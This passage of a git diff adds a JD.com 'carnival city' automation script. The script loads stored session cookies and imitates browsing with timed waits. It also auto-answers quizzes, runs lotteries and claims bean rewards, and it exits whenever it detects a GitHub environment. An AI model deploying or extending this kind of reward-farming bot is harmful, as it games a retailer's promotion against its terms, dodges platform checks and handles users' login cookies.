headers: r, body: o }, o) + }, t => { + const { message: s, response: i } = t; + e(s, i, i && i.body) + }) + } + } + + time(t, e = null){ + const s = e ? new Date(e) : new Date; + let i = { + "M+": s.getMonth() + 1, + "d+": s.getDate(), + "H+": s.getHours(), + "m+": s.getMinutes(), + "s+": s.getSeconds(), + "q+": Math.floor((s.getMonth() + 3) / 3), + S: s.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for(let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t + } + + msg(e = t, s = "", i = "", r){ + const o = t => { + if(!t) return t; + if("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; + if("object" == typeof t){ + if(this.isLoon()){ + let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; + return { openUrl: e, mediaUrl: s } + } + if(this.isQuanX()){ + let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; + return { "open-url": e, "media-url": s } + } + if(this.isSurge()){ + let e = t.url || t.openUrl || t["open-url"]; + return { url: e } + } + } + }; + if(this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog){ + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) + } + } + + log(...t){t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator))} + + logErr(t, e){ + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + + wait(t){return new Promise(e => setTimeout(e, t))} + + done(t = {}){ + const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + }(t, e) +} diff --git a/backUp/jd_carnivalcity.js b/backUp/jd_carnivalcity.js new file mode 100644 index 0000000..c05b369 --- /dev/null +++ b/backUp/jd_carnivalcity.js @@ -0,0 +1,761 @@ +/* +京东手机狂欢城活动,每日可获得20+以上京豆(其中20京豆是往期奖励,需第一天参加活动后,第二天才能拿到) +活动时间: 2021-8-9至2021-8-28 +活动入口:暂无 [活动地址](https://carnivalcity.m.jd.com/) + +往期奖励: +a、第1名、第618名可获得实物手机一部 +b、 每日第2-10000名,可获得50个京豆 +c、 每日第10001-30000名可获得20个京豆 +d、 30000名之外,0京豆 + +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +===================quantumultx================ +[task_local] +#京东手机狂欢城 +0 0-18/6 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_carnivalcity.js, tag=京东手机狂欢城, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +=====================Loon================ +[Script] +cron "0 0-18/6 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_carnivalcity.js, tag=京东手机狂欢城 + +====================Surge================ +京东手机狂欢城 = type=cron,cronexp=0 0-18/6 * * *,wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_carnivalcity.js + +============小火箭========= +京东手机狂欢城 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_carnivalcity.js, cronexpr="0 0-18/6 * * *", timeout=3600, enable=true +*/ +const $ = new Env('京东手机狂欢城'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message = '', allMessage = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0) +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +let inviteCodes = []; +const JD_API_HOST = 'https://api.m.jd.com/api'; +const activeEndTime = '2021/08/29 00:00:00+08:00';//活动结束时间 +let nowTime = new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + $.temp = []; + if (nowTime > new Date(activeEndTime).getTime()) { + //活动结束后弹窗提醒 + $.msg($.name, '活动已结束', `该活动累计获得京豆:${$.jingBeanNum}个\n请删除此脚本\n咱江湖再见`); + if ($.isNode()) await notify.sendNotify($.name + '活动已结束', `请删除此脚本\n咱江湖再见`); + return + } + await requireConfig(); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.jingBeanNum = 0;//累计获得京豆 + $.integralCount = 0;//累计获得积分 + $.integer = 0;//当天获得积分 + $.lasNum = 0;//当天参赛人数 + $.num = 0;//当天排名 + $.beans = 0;//本次运行获得京豆数量 + $.blockAccount = false;//黑号 + message = ''; + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await shareCodesFormat(); + await JD818(); + } + } + if (allMessage) { + //NODE端,默认每月一日运行进行推送通知一次 + if ($.isNode()) { + await notify.sendNotify($.name, allMessage, { url: "https://carnivalcity.m.jd.com/" }); + $.msg($.name, '', allMessage); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function JD818() { + try { + await indexInfo();//获取任务 + await supportList();//助力情况 + await getHelp();//获取邀请码 + if ($.blockAccount) return + await indexInfo(true);//获取任务 + await doHotProducttask();//做热销产品任务 + await doBrandTask();//做品牌手机任务 + await doBrowseshopTask();//逛好货街,做任务 + // await doHelp(); + await myRank();//领取往期排名奖励 + await getListRank(); + await getListIntegral(); + await getListJbean(); + await check();//查询抽奖记录(未兑换的,发送提醒通知); + await showMsg() + } catch (e) { + $.logErr(e) + } +} +async function doHotProducttask() { + $.hotProductList = $.hotProductList.filter(v => !!v && v['status'] === "1"); + if ($.hotProductList && $.hotProductList.length) console.log(`开始 【浏览热销手机产品】任务,需等待6秒`) + for (let item of $.hotProductList) { + await doBrowse(item['id'], "", "hot", "browse", "browseHotSku"); + await $.wait(1000 * 6); + if ($.browseId) { + await getBrowsePrize($.browseId) + } + } +} +//做任务 API +function doBrowse(id = "", brandId = "", taskMark = "hot", type = "browse", logMark = "browseHotSku") { + return new Promise(resolve => { + const body = {"brandId":brandId,"id":id,"taskMark":taskMark,"type":type,"logMark":logMark,"apiMapping":"/khc/task/doBrowse"} + $.post(taskUrl(body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + console.log(`doBrowse 做${taskMark}任务:${data}`); + data = JSON.parse(data); + if (data && data['code'] === 200) { + $.browseId = data['data']['browseId'] || ""; + } else { + console.log(`doBrowse异常`); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//领取奖励 +function getBrowsePrize(browseId, brandId = '') { + return new Promise(resolve => { + const body = {"brandId":brandId,"browseId":browseId,"apiMapping":"/khc/task/getBrowsePrize"} + $.post(taskUrl(body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + console.log(`getBrowsePrize 领取奖励 结果:${data}`); + data = JSON.parse(data); + if (data && data['code'] === 200) { + if (data['data']['jingBean']) $.beans += data['data']['jingBean']; + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function doBrandTask() { + for (let brand of $.brandList) { + await brandTaskInfo(brand['brandId']); + } +} +function brandTaskInfo(brandId) { + const body = {"brandId":brandId,"apiMapping":"/khc/index/brandTaskInfo"} + $.skuTask = []; + $.shopTask = []; + $.meetingTask = []; + $.questionTask = {}; + return new Promise( (resolve) => { + $.get(taskUrl(body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.code === 200) { + let brandId = data['data']['brandId']; + $.skuTask = data['data']['skuTask'] || []; + $.shopTask = data['data']['shopTask'] || []; + $.meetingTask = data['data']['meetingTask'] || []; + $.questionTask = data['data']['questionTask'] || []; + for (let sku of $.skuTask.filter(vo => !!vo && vo['status'] !== '4')){ + console.log(`\n开始做 品牌手机 【${data['data']['brandName']}】 任务`) + console.log(`开始浏览 1-F 单品区 任务 ${sku['name']}`); + await doBrowse(sku['id'], brandId, "brand", "presell", "browseSku"); + await $.wait(1000 * 6); + if ($.browseId) await getBrowsePrize($.browseId, brandId); + } + for (let sku of $.shopTask.filter(vo => !!vo && vo['status'] !== '4')){ + console.log(`\n开始做 品牌手机 【${data['data']['brandName']}】 任务`) + console.log(`开始浏览 2-F 专柜区 任务 ${sku['name']},需等待10秒`); + await doBrowse(sku['id'], brandId, "brand", "follow", "browseShop"); + await $.wait(10100); + if ($.browseId) await getBrowsePrize($.browseId, brandId); + } + for (let sku of $.meetingTask.filter(vo => !!vo && vo['status'] !== '4')){ + console.log(`\n开始做 品牌手机 【${data['data']['brandName']}】 任务`) + console.log(`开始浏览 3-F 综合区 任务 ${sku['name']},需等待10秒`); + await doBrowse(sku['id'], brandId, "brand", "meeting", "browseVenue"); + await $.wait(10500); + if ($.browseId) await getBrowsePrize($.browseId, brandId); + } + if ($.questionTask.hasOwnProperty('id') && $.questionTask['result'] === '0') { + console.log(`\n开始做 品牌手机 【${data['data']['brandName']}】 任务`) + console.log(`开始做答题任务 ${$.questionTask['question']}`); + let result = 0; + for (let i = 0; i < $.questionTask['answers'].length; i ++) { + if ($.questionTask['answers'][i]['right']) { + result = i + 1;//正确答案 + } + } + if (result !== 0) { + await doQuestion(brandId, $.questionTask['id'], result); + } + } + } else { + console.log(`失败:${JSON.stringify(data)}`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }); +} +function doQuestion(brandId, questionId, result) { + return new Promise(resolve => { + const body = {"brandId":brandId,"questionId":questionId,"result":result,"apiMapping":"/khc/task/doQuestion"} + $.post(taskUrl(body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + console.log(`doQuestion 领取答题任务奖励 结果:${data}`); + data = JSON.parse(data); + if (data && data['code'] === 200) { + if (data['data']['jingBean']) $.beans += data['data']['jingBean']; + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//逛好货街,做任务 +async function doBrowseshopTask() { + $.browseshopList = $.browseshopList.filter(v => !!v && v['status'] === "6"); + if ($.browseshopList && $.browseshopList.length) console.log(`\n开始 【逛好货街,做任务】,需等待10秒`) + for (let shop of $.browseshopList) { + await doBrowse(shop['id'], "", "browseShop", "browse", "browseShop"); + await $.wait(10000); + if ($.browseId) { + await getBrowsePrize($.browseId) + } + } +} +function indexInfo(flag = false) { + const body = {"apiMapping":"/khc/index/indexInfo"} + $.hotProductList = []; + $.brandList = []; + $.browseshopList = []; + return new Promise( (resolve) => { + $.post(taskUrl(body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.code === 200) { + $.hotProductList = data['data']['hotProductList']; + $.brandList = data['data']['brandList']; + $.browseshopList = data['data']['browseshopList']; + if (flag) { + // console.log(`助力情况:${data['data']['supportedNums']}/${data['data']['supportNeedNums']}`); + // message += `邀请好友助力:${data['data']['supportedNums']}/${data['data']['supportNeedNums']}\n` + } + } else { + console.log(`异常:${JSON.stringify(data)}`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }); +} +//获取助力信息 +function supportList() { + const body = {"apiMapping":"/khc/index/supportList"} + return new Promise( (resolve) => { + $.get(taskUrl(body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.code === 200) { + console.log(`助力情况:${data['data']['supportedNums']}/${data['data']['supportNeedNums']}`); + message += `邀请好友助力:${data['data']['supportedNums']}/${data['data']['supportNeedNums']}\n` + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }); +} +//积分抽奖 +function lottery() { + const body = {"apiMapping":"/khc/record/lottery"} + return new Promise( (resolve) => { + $.get(taskUrl(body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.code === 200) { + if (data.data.prizeId !== 8) { + //已中奖 + const url = 'https://carnivalcity.m.jd.com/#/integralDetail'; + console.log(`积分抽奖获得:${data.data.prizeName}`); + message += `积分抽奖获得:${data.data.prizeName}\n`; + $.msg($.name, '', `京东账号 ${$.index} ${$.nickName || $.UserName}\n积分抽奖获得:${data.data.prizeName}\n兑换地址:${url}`, { 'open-url': url }); + if ($.isNode()) await notify.sendNotify($.name, `京东账号 ${$.index} ${$.nickName || $.UserName}\n积分抽奖获得:${data.data.prizeName}\n兑换地址:${url}`); + } else { + console.log(`积分抽奖结果:${data['data']['prizeName']}}`); + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }); +} +//查询抽奖记录(未兑换的) +function check() { + const body = {"pageNum":1,"apiMapping":"/khc/record/convertRecord"} + return new Promise( (resolve) => { + $.get(taskUrl(body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + let str = ''; + if (data.code === 200) { + for (let obj of data.data) { + if (obj.hasOwnProperty('fillStatus') && obj.fillStatus !== true) { + str += JSON.stringify(obj); + } + } + } + if (str.length > 0) { + const url = 'https://carnivalcity.m.jd.com/#/integralDetail'; + $.msg($.name, '', `京东账号 ${$.index} ${$.nickName || $.UserName}\n积分抽奖获得:${str}\n兑换地址:${url}`, { 'open-url': url }); + if ($.isNode()) await notify.sendNotify($.name, `京东账号 ${$.index} ${$.nickName || $.UserName}\n积分抽奖获得:${str}\n兑换地址:${url}`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }); +} +function myRank() { + return new Promise(resolve => { + const body = {"apiMapping":"/khc/rank/myPastRanks"} + $.post(taskUrl(body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.code === 200) { + if (data.data && data.data.length) { + for (let i = 0; i < data.data.length; i++) { + $.date = data.data[i]['date']; + if (data.data[i].status === '1') { + console.log(`开始领取往期奖励【${data.data[i]['prizeName']}】`) + let res = await saveJbean($.date); + // console.log('领奖结果', res) + if (res && res.code === 200) { + $.beans += Number(res.data); + console.log(`${data.data[i]['date']}日 【${res.data}】京豆奖励领取成功`) + } else { + console.log(`往期奖励领取失败:${JSON.stringify(res)}`); + } + await $.wait(500); + } else if (data.data[i].status === '3') { + console.log(`${data.data[i]['date']}日 【${data.data[i]['prizeName']}】往期京豆奖励已领取~`) + } else { + console.log(`${data.data[i]['date']}日 【${data.data[i]['status']}】往期京豆奖励,今日争取进入前30000名哦~`) + } + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//领取往期奖励API +function saveJbean(date) { + return new Promise(resolve => { + const body = {"date":date,"apiMapping":"/khc/rank/getRankJingBean"} + $.post(taskUrl(body), (err, resp, data) => { + try { + // console.log('领取京豆结果', data); + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +async function doHelp() { + console.log(`\n开始助力好友`); + for (let item of $.newShareCodes) { + if (!item) continue; + const helpRes = await toHelp(item.trim()); + if (helpRes.data.status === 5) { + console.log(`助力机会已耗尽,跳出助力`); + break; + } + } +} +//助力API +function toHelp(code) { + return new Promise(resolve => { + const body = {"shareId":code,"apiMapping":"/khc/task/doSupport"} + $.post(taskUrl(body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + console.log(`助力结果:${data}`); + data = JSON.parse(data); + if (data && data['code'] === 200) { + if (data['data']['status'] === 6) console.log(`助力成功\n`) + if (data['data']['jdNums']) $.beans += data['data']['jdNums']; + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//获取邀请码API +function getHelp() { + return new Promise(resolve => { + const body = {"apiMapping":"/khc/task/getSupport"} + $.get(taskUrl(body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.code === 200) { + console.log(`\n\n${$.name}互助码每天都变化,旧的不可继续使用`); + $.log(`【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${data.data.shareId}\n\n`); + $.temp.push(data.data.shareId); + } else { + console.log(`获取邀请码失败:${JSON.stringify(data)}`); + if (data.code === 1002) $.blockAccount = true; + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//获取当前活动总京豆数量 +function getListJbean() { + return new Promise(resolve => { + const body = {"pageNum":"","apiMapping":"/khc/record/jingBeanRecord"} + $.post(taskUrl(body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.code === 200) { + $.jingBeanNum = data.data.jingBeanNum || 0; + message += `累计获得京豆:${$.jingBeanNum}🐶\n`; + } else { + console.log(`jingBeanRecord失败:${JSON.stringify(data)}`); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//查询累计获得积分 +function getListIntegral() { + return new Promise(resolve => { + const body = {"pageNum":"","apiMapping":"/khc/record/integralRecord"} + $.post(taskUrl(body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.code === 200) { + $.integralCount = data.data.integralNum || 0;//累计活动积分 + message += `累计获得积分:${$.integralCount}\n`; + console.log(`开始抽奖,当前积分可抽奖${parseInt($.integralCount / 50)}次\n`); + for (let i = 0; i < parseInt($.integralCount / 50); i ++) { + await lottery(); + await $.wait(500); + } + } else { + console.log(`integralRecord失败:${JSON.stringify(data)}`); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +//查询今日累计积分与排名 +function getListRank() { + return new Promise(resolve => { + const body = {"apiMapping":"/khc/rank/dayRank"} + $.post(taskUrl(body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.code === 200) { + if (data.data.myRank) { + $.integer = data.data.myRank.integral;//当前获得积分 + $.num = data.data.myRank.rank;//当前排名 + message += `当前获得积分:${$.integer}\n`; + message += `当前获得排名:${$.num}\n`; + } + if (data.data.lastRank) { + $.lasNum = data.data.lastRank.rank;//当前参加活动人数 + message += `当前参赛人数:${$.lasNum}\n`; + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex] && inviteCodes[tempIndex].split('@') || []; + if ($.updatePkActivityIdRes && $.updatePkActivityIdRes.length) $.newShareCodes = [...$.updatePkActivityIdRes, ...$.newShareCodes]; + } + // const readShareCodeRes = await readShareCode(); + // if (readShareCodeRes && readShareCodeRes.code === 200) { + // $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; + // } + // console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} +function requireConfig() { + return new Promise(resolve => { + console.log(`开始获取${$.name}配置文件\n`); + let shareCodes = []; + if ($.isNode()) { + if (process.env.JD818_SHARECODES) { + if (process.env.JD818_SHARECODES.indexOf('\n') > -1) { + shareCodes = process.env.JD818_SHARECODES.split('\n'); + } else { + shareCodes = process.env.JD818_SHARECODES.split('&'); + } + } + } + console.log(`共${cookiesArr.length}个京东账号\n`); + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} + +function taskUrl(body = {}) { + return { + url: `${JD_API_HOST}?appid=guardian-starjd&functionId=carnivalcity_jd_prod&body=${JSON.stringify(body)}&t=${Date.now()}&loginType=2`, + headers: { + "accept": "application/json, text/plain, */*", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-cn", + "referer": "https://carnivalcity.m.jd.com/", + "origin": "https://carnivalcity.m.jd.com", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1" + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +async function showMsg() { + if ($.beans) { + allMessage += `京东账号${$.index} ${$.nickName || $.UserName}\n本次运行获得:${$.beans}京豆\n${message}活动地址:https://carnivalcity.m.jd.com/${$.index !== cookiesArr.length ? '\n\n' : ''}` + } + $.msg($.name, `京东账号${$.index} ${$.nickName || $.UserName}`, `${message}具体详情点击弹窗跳转后即可查看`, {"open-url": "https://carnivalcity.m.jd.com/"}); +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +!function(n){"use strict";function r(n,r){var t=(65535&n)+(65535&r);return(n>>16)+(r>>16)+(t>>16)<<16|65535&t}function t(n,r){return n<>>32-r}function u(n,u,e,o,c,f){return r(t(r(r(u,n),r(o,f)),c),e)}function e(n,r,t,e,o,c,f){return u(r&t|~r&e,n,r,o,c,f)}function o(n,r,t,e,o,c,f){return u(r&e|t&~e,n,r,o,c,f)}function c(n,r,t,e,o,c,f){return u(r^t^e,n,r,o,c,f)}function f(n,r,t,e,o,c,f){return u(t^(r|~e),n,r,o,c,f)}function i(n,t){n[t>>5]|=128<>>9<<4)]=t;var u,i,a,h,g,l=1732584193,d=-271733879,v=-1732584194,C=271733878;for(u=0;u>5]>>>r%32&255);return t}function h(n){var r,t=[];for(t[(n.length>>2)-1]=void 0,r=0;r>5]|=(255&n.charCodeAt(r/8))<16&&(e=i(e,8*n.length)),t=0;t<16;t+=1)o[t]=909522486^e[t],c[t]=1549556828^e[t];return u=i(o.concat(h(r)),512+8*r.length),a(i(c.concat(u),640))}function d(n){var r,t,u="";for(t=0;t>>4&15)+"0123456789abcdef".charAt(15&r);return u}function v(n){return unescape(encodeURIComponent(n))}function C(n){return g(v(n))}function A(n){return d(C(n))}function m(n,r){return l(v(n),v(r))}function s(n,r){return d(m(n,r))}function b(n,r,t){return r?t?m(r,n):s(r,n):t?C(n):A(n)}$.md5=b}(); +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let 